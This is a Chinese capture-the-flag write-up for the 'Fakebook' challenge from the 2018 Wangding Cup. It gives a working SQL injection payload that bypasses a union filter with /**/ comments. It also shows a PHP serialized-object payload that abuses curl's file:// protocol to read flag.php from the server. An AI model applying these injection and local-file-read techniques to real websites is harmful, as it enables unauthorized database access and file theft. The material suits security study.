[网鼎杯 2018]Fakebook

1.进去先随便注册一个账号,这里注意blog是有限制的,必须http开头。在这里插入图片描述2.点1进去发现url中no存在sql注入,注入发现union被过滤,不过可以使用/**/绕过。可以使用报错注入0/**/union/**/select 1,2,3,4#
在这里插入图片描述根据报错信息可以知道网站的储存目录,以及数据库里的数据都是以序列化方式储存。因此只要访问/var/www/html/flag.php就可以拿到flag,但通过http(s)协议无法读到flag,curl不仅支持http(s),还支持file协议,所以可以通过file协议读文件

这里要通过注入查找数据库里的结构这里贴出大佬博客:
https://blog.csdn.net/qq_42196196/article/details/81952174
我们这里要构造反序列化内容

<?php
class UserInfo  {
    public $name = "test";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}

$data = new UserInfo();
echo serialize($data);
#O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
?>

payload:

view.php?no=0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23

在这里插入图片描述查看源码发现有flag.php的base64 解码即可

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值